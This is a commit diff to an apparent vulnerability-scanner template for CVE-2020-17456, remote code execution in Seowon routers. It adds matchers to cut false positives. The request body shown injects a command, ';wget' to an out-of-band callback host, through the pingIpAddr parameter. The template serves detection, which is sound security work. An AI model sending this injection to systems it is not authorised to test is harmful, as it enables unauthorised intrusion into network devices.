Fix CVE-2020-17456 (false positive) (#3997)

* Fix CVE-2020-17456 (false positive)

* additional matchers

Co-authored-by: sandeep <sandeep@projectdiscovery.io>

cves/2020/CVE-2020-17456.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-17456
 
 info:
   name: Seowon SLC-130 And SLR-120S - Unauthenticated Remote Code Execution
-  author: gy741
+  author: gy741,edoardottt
   severity: critical
   description: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page.
   reference:
@@ -31,9 +31,20 @@ requests:
         Content-Type: application/x-www-form-urlencoded
 
         Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018
+
     cookie-reuse: true
+    matchers-condition: and
     matchers:
       - type: word
         part: interactsh_protocol
         words:
           - "http"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200